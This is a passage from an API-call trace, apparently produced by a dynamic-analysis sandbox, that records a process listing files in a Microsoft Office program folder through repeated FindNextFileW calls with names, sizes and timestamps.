	[0052.047] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2149b700, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd24d9e80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2149b700, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xb0578, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMAX20.DLL", cAlternateFileName="")) returned 1
	[0052.047] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x37160, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNFNOT32.EXE", cAlternateFileName="")) returned 1
	[0052.047] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd24fffe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xcf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="CODEEDIT.DLL", cAlternateFileName="")) returned 1
	[0052.047] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x337e5b00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x6048cf10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x337e5b00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x2cb78, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTAB32.DLL", cAlternateFileName="")) returned 1
	[0052.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6471c400, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x604b3070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6471c400, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x36580, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContactPicker.dll", cAlternateFileName="CONTAC~1.DLL")) returned 1
	[0052.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONVERT", cAlternateFileName="")) returned 1
	[0052.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18a49800, ftCreationTime.dwHighDateTime=0x1cbae39, ftLastAccessTime.dwLowDateTime=0xa2045a20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x18a49800, ftLastWriteTime.dwHighDateTime=0x1cbae39, nFileSizeHigh=0x0, nFileSizeLow=0x911b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSS7DATA0009.DLL", cAlternateFileName="CSS7DA~3.DLL")) returned 1
	[0052.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d4df100, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xa6dee7e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3d4df100, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0xbb1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSS7DATA000A.DLL", cAlternateFileName="CSS7DA~1.DLL")) returned 1
	[0052.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64f18900, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa408e480, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x64f18900, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0xbb1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSS7DATA000C.DLL", cAlternateFileName="CSS7DA~2.DLL")) returned 1
	[0052.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9ab7000, ftCreationTime.dwHighDateTime=0x1c8d9fe, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9ab7000, ftLastWriteTime.dwHighDateTime=0x1c8d9fe, nFileSizeHigh=0x0, nFileSizeLow=0x53f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Custom.propdesc", cAlternateFileName="CUSTOM~1.PRO")) returned 1
	[0052.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b53d600, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd25e4820, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1b53d600, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x91170, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATAGATH.DLL", cAlternateFileName="")) returned 1
	[0052.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xcf942ba0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x124578, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBENGR.DLL", cAlternateFileName="")) returned 1
	[0052.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1
	[0052.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2630ae0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x183c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBSHARE.DLL", cAlternateFileName="")) returned 1
	[0052.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2904500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x137b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBWIZ.DLL", cAlternateFileName="")) returned 1
	[0052.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3242fa00, ftCreationTime.dwHighDateTime=0x1cb7017, ftLastAccessTime.dwLowDateTime=0xd2a812c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3242fa00, ftLastWriteTime.dwHighDateTime=0x1cb7017, nFileSizeHigh=0x0, nFileSizeLow=0x1a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGRMLNCH.DLL", cAlternateFileName="")) returned 1
	[0052.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e9b800, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1e9b800, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x1c770, dwReserved0=0x0, dwReserved1=0x0, cFileName="DLGSETP.DLL", cAlternateFileName="")) returned 1
	[0052.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Parts", cAlternateFileName="DOCUME~1")) returned 1
	[0052.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff0d00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xcfd6d220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6ff0d00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x1acf78, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRILLDWN.DLL", cAlternateFileName="")) returned 1
	[0052.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3357b00, ftCreationTime.dwHighDateTime=0x1cba075, ftLastAccessTime.dwLowDateTime=0xcfdb94e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa3357b00, ftLastWriteTime.dwHighDateTime=0x1cba075, nFileSizeHigh=0x0, nFileSizeLow=0x36160, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGCNV.DLL", cAlternateFileName="")) returned 1
	[0052.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd00b3060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x8f3d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGDP.DLL", cAlternateFileName="")) returned 1
	[0052.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2f6a020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x30968, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDITOR.EXE", cAlternateFileName="")) returned 1
	[0052.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2f90180, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xad88, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDITORS.DLL", cAlternateFileName="")) returned 1
	[0052.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2fdc440, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x3f988, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELEMENTS.DLL", cAlternateFileName="")) returned 1
	[0052.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd30c0c80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x237a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELEMUTIL.DLL", cAlternateFileName="")) returned 1
	[0052.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x25b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="EMABLT32.DLL", cAlternateFileName="")) returned 1
	[0052.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x60903850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x206fb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EMSMDB32.DLL", cAlternateFileName="")) returned 1
	[0052.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5807500, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x609299b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5807500, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x46c86, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENGDIC.DAT", cAlternateFileName="")) returned 1
	[0052.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5807500, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5807500, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x8578, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENGIDX.DAT", cAlternateFileName="")) returned 1
	[0052.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc59cb00, ftCreationTime.dwHighDateTime=0x1c3e388, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc59cb00, ftLastWriteTime.dwHighDateTime=0x1c3e388, nFileSizeHigh=0x0, nFileSizeLow=0x4c22c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENGLISH.LNG", cAlternateFileName="")) returned 1
	[0052.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x609299b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0xf380, dwReserved0=0x0, dwReserved1=0x0, cFileName="EntityDataHandler.dll", cAlternateFileName="ENTITY~2.DLL")) returned 1
	[0052.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x41980, dwReserved0=0x0, dwReserved1=0x0, cFileName="EntityPicker.dll", cAlternateFileName="ENTITY~1.DLL")) returned 1
	[0052.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6094fb10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x35980, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPE.DLL", cAlternateFileName="")) returned 1
	[0052.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x81e8ee40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x14fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERXIMP.ADD", cAlternateFileName="")) returned 1
	[0052.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cdf900, ftCreationTime.dwHighDateTime=0x1cac26b, ftLastAccessTime.dwLowDateTime=0x5221e250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52cdf900, ftLastWriteTime.dwHighDateTime=0x1cac26b, nFileSizeHigh=0x0, nFileSizeLow=0x1aecb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.EXE", cAlternateFileName="")) returned 1
	[0052.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8e14a00, ftCreationTime.dwHighDateTime=0x1cac1f0, ftLastAccessTime.dwLowDateTime=0x6099bdd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8e14a00, ftLastWriteTime.dwHighDateTime=0x1cac1f0, nFileSizeHigh=0x0, nFileSizeLow=0x4ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="excel.exe.manifest", cAlternateFileName="EXCELE~1.MAN")) returned 1
	[0052.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd64d0300, ftCreationTime.dwHighDateTime=0x1cac1f5, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd64d0300, ftLastWriteTime.dwHighDateTime=0x1cac1f5, nFileSizeHigh=0x0, nFileSizeLow=0x17d6360, dwReserved0=0x0, dwReserved1=0x0, cFileName="excelcnv.exe", cAlternateFileName="")) returned 1
	[0052.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd51bd600, ftCreationTime.dwHighDateTime=0x1cac1f5, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd51bd600, ftLastWriteTime.dwHighDateTime=0x1cac1f5, nFileSizeHigh=0x0, nFileSizeLow=0xbd60, dwReserved0=0x0, dwReserved1=0x0, cFileName="excelcnvpxy.dll", cAlternateFileName="EXCELC~1.DLL")) returned 1
	[0052.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51243c00, ftCreationTime.dwHighDateTime=0x1c7ae59, ftLastAccessTime.dwLowDateTime=0x522443b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51243c00, ftLastWriteTime.dwHighDateTime=0x1c7ae59, nFileSizeHigh=0x0, nFileSizeLow=0x1372c, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXLIRM.XML", cAlternateFileName="")) returned 1
	[0052.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51243c00, ftCreationTime.dwHighDateTime=0x1c7ae59, ftLastAccessTime.dwLowDateTime=0x60acc8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51243c00, ftLastWriteTime.dwHighDateTime=0x1c7ae59, nFileSizeHigh=0x0, nFileSizeLow=0x13574, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXLIRMV.XML", cAlternateFileName="")) returned 1
	[0052.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x73f50, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXSEC32.DLL", cAlternateFileName="")) returned 1
	[0052.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd3159200, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x533a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXTRACT.DLL", cAlternateFileName="")) returned 1
	[0052.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd01e3b60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x18bf68, dwReserved0=0x0, dwReserved1=0x0, cFileName="FACILITY.DLL", cAlternateFileName="")) returned 1
	[0052.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3a780, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORM.DLL", cAlternateFileName="")) returned 1
	[0052.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORMS", cAlternateFileName="")) returned 1
	[0052.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc59cb00, ftCreationTime.dwHighDateTime=0x1c3e388, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc59cb00, ftLastWriteTime.dwHighDateTime=0x1c3e388, nFileSizeHigh=0x0, nFileSizeLow=0x88933, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRENCH.LNG", cAlternateFileName="")) returned 1
